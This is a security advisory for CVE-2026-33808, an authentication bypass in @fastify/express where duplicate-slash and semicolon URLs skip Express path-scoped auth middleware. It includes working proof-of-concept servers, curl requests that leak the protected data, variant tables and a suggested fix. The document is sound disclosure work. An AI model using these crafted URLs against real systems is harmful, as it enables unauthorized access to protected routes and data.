CVE-2026-33808: @fastify/express vulnerable to middleware authentication bypass via URL normalization gaps (duplicate slashes and semicolons)

Summary

@fastify/express v4.0.4 fails to normalize URLs before passing them to Express middleware when Fastify router normalization options are enabled. This allows complete bypass of path-scoped authentication middleware via two vectors:

1. Duplicate slashes (//admin/dashboard) when ignoreDuplicateSlashes: true is configured 2. Semicolon delimiters (/admin;bypass) when useSemicolonDelimiter: true is configured

In both cases, Fastify's router normalizes the URL and matches the route, but @fastify/express passes the original un-normalized URL to Express middleware, which fails to match and is skipped.

Note: This is distinct from GHSA-g6q3-96cp-5r5m (CVE-2026-22037), which addressed URL percent-encoding bypass and was patched in v4.0.3. These normalization gaps remain in v4.0.4. A similar class of normalization issue was addressed in @fastify/middie via GHSA-8p85-9qpw-fwgw (CVE-2026-2880), but @fastify/express does not include the equivalent fixes.

Details

The vulnerability exists in @fastify/express's enhanceRequest function (index.js lines 43-46):

javascript const decodedUrl = decodeURI(url) req.raw.url = decodedUrl

The decodeURI() function only handles percent-encoding — it does not normalize duplicate slashes or strip semicolon-delimited parameters. When Fastify's router options are enabled, find-my-way applies these normalizations during route matching, but @fastify/express passes the original URL to Express middleware.

Vector 1: Duplicate Slashes

When ignoreDuplicateSlashes: true is set, Fastify's find-my-way router normalizes //admin/dashboard to /admin/dashboard for route matching. However, Express middleware receives //admin/dashboard. Express's app.use('/admin', authMiddleware) expects paths to start with /admin/, but //admin does not match the /admin prefix pattern.

The attack sequence: 1. Client sends GET //admin/dashboard 2. Fastify's router normalizes this to /admin/dashboard and finds a matching route 3. enhanceRequest sets req.raw.url = "//admin/dashboard" (preserves double slash) 4. Express middleware app.use('/admin', authMiddleware) does not match //admin prefix 5. Authentication is bypassed, and the Fastify route handler executes

Vector 2: Semicolon Delimiters

When useSemicolonDelimiter: true is configured, the router uses find-my-way's safeDecodeURI() which treats semicolons as query string delimiters, splitting /admin;bypass into path /admin and querystring bypass for route matching. However, @fastify/express passes the full URL /admin;bypass to Express middleware.

Express uses path-to-regexp v0.1.12 internally, which compiles middleware paths like /admin to the regex /^\/admin\/?(?=\/|$)/i. A semicolon character does not satisfy the lookahead condition, causing the middleware match to fail.

The attack flow: 1. Request GET /admin;bypass arrives 2. Fastify router: splits at ; — matches route GET /admin 3. Express middleware: regex /^\/admin\/?(?=\/|$)/i fails against /admin;bypass — middleware skipped 4. Route handler executes without authentication checks

PoC

Duplicate Slash Bypass

Save as server.js and run with node server.js:

js const fastify = require('fastify')

async function start() { const app = fastify({ logger: false, ignoreDuplicateSlashes: true, // documented Fastify option })

await app.register(require('@fastify/express'))

// Standard Express middleware auth pattern app.use('/admin', function expressAuthGate(req, res, next) { const auth = req.headers.authorization if (!auth || auth !== 'Bearer admin-secret-token') { res.statusCode = 403 res.setHeader('content-type', 'application/json') res.end(JSON.stringify({ error: 'Forbidden by Express middleware' })) return } next() })

// Protected route app.get('/admin/dashboard', async (request) => { return { message: 'Admin dashboard', secret: 'sensitive-admin-data' } })

await app.listen({ port: 3000 }) console.log('Listening on http://localhost:3000') } start()

bash Normal access — blocked by Express middleware $ curl -s http://localhost:3000/admin/dashboard {"error":"Forbidden by Express middleware"}

Double-slash bypass — Express middleware skipped, handler runs $ curl -s http://localhost:3000//admin/dashboard {"message":"Admin dashboard","secret":"sensitive-admin-data"}

Triple-slash also works $ curl -s http://localhost:3000///admin/dashboard {"message":"Admin dashboard","secret":"sensitive-admin-data"}

Multiple variants work: ///admin, /.//admin, //admin//dashboard, etc.

Semicolon Bypass

javascript const fastify = require('fastify') const http = require('http')

function get(port, url) { return new Promise((resolve, reject) => { http.get('http://localhost:' + port + url, (res) => { let data = '' res.on('data', (chunk) => data += chunk) res.on('end', () => resolve({ status: res.statusCode, body: data })) }).on('error', reject) }) }

async function test() { const app = fastify({ logger: false, routerOptions: { useSemicolonDelimiter: true } }) await app.register(require('@fastify/express')) // Auth middleware blocking unauthenticated access app.use('/admin', function(req, res, next) { if (!req.headers.authorization) { res.statusCode = 403 res.setHeader('content-type', 'application/json') res.end(JSON.stringify({ error: 'Forbidden' })) return } next() }) app.get('/admin', async () => ({ secret: 'classified-info' })) await app.listen({ port: 19900, host: '0.0.0.0' }) // Blocked: let r = await get(19900, '/admin') console.log('/admin:', r.status, r.body) // Output: /admin: 403 {"error":"Forbidden"} // BYPASS: r = await get(19900, '/admin;bypass') console.log('/admin;bypass:', r.status, r.body) // Output: /admin;bypass: 200 {"secret":"classified-info"} r = await get(19900, '/admin;') console.log('/admin;:', r.status, r.body) // Output: /admin;: 200 {"secret":"classified-info"} await app.close() } test()

Actual output: /admin: 403 {"error":"Forbidden"} /admin;bypass: 200 {"secret":"classified-info"} /admin;: 200 {"secret":"classified-info"}

The semicolon bypass works with any text after it: /admin;, /admin;x, /admin;jsessionid=123.

Impact

Complete authentication bypass for applications using Express middleware for path-based access control. An unauthenticated attacker can access protected routes (admin panels, APIs, user data) by manipulating the URL path.

Duplicate slash vector affects applications that: 1. Use @fastify/express with ignoreDuplicateSlashes: true 2. Rely on Express middleware for authentication/authorization 3. Use path-scoped middleware patterns like app.use('/admin', authMiddleware)

Semicolon vector affects applications that: 1. Use @fastify/express with useSemicolonDelimiter: true (commonly enabled for Java application server compatibility, e.g., handling ;jsessionid= parameters) 2. Rely on Express middleware for authentication/authorization 3. Use path-scoped middleware patterns like app.use('/admin', authMiddleware)

The bypass works against all Express middleware that uses prefix path matching, including popular packages like express-basic-auth, custom authentication middleware, and rate limiting middleware.

The ignoreDuplicateSlashes and useSemicolonDelimiter options are documented as convenience features, not marked as security-sensitive, so developers would not expect them to impact middleware security.

Affected Versions

- @fastify/express v4.0.4 (latest) with Fastify 5.x - Requires ignoreDuplicateSlashes: true or useSemicolonDelimiter: true in Fastify configuration (via top-level option or routerOptions)

Variant Testing

Duplicate slashes:

| Request | Express Middleware | Handler Runs | Result | |---------|-------------------|--------------|--------| | GET /admin/dashboard | Invoked (blocks) | No | 403 Forbidden | | GET //admin/dashboard | Skipped | Yes | 200 OK — BYPASS | | GET ///admin/dashboard | Skipped | Yes | 200 OK — BYPASS | | GET /.//admin/dashboard | Skipped | Yes | 200 OK — BYPASS | | GET //admin//dashboard | Skipped | Yes | 200 OK — BYPASS | | GET /admin//dashboard | Invoked (blocks) | No | 403 Forbidden |

Semicolons:

| URL | Express MW Fires | Route Matches | Result | |---|---|---|---| | /admin | Yes | Yes (200/403) | Normal | | /admin; | No | Yes (200) | BYPASS | | /admin;bypass | No | Yes (200) | BYPASS | | /admin;x=1 | No | Yes (200) | BYPASS | | /admin;/dashboard | No | Yes (200, routes to /admin) | BYPASS | | /admin/dashboard;x | Yes | Yes (routes to /admin/dashboard) | Normal (prefix /admin/ still matches) |

The semicolon bypass is effective when the semicolon appears immediately after the middleware prefix boundary. For sub-paths where the prefix is already matched (e.g., /admin/dashboard;x), Express's prefix regex succeeds because the /admin/ part matches before the semicolon appears.

Suggested Fix

@fastify/express should normalize URLs before passing them to Express middleware, respecting the router normalization options that are enabled. Specifically: - When ignoreDuplicateSlashes is enabled, apply FindMyWay.removeDuplicateSlashes() to req.raw.url before middleware execution - When useSemicolonDelimiter is enabled, strip semicolon-delimited parameters from the URL before passing to Express

This would match the normalization behavior that @fastify/middie already implements via sanitizeUrlPath() and normalizePathForMatching().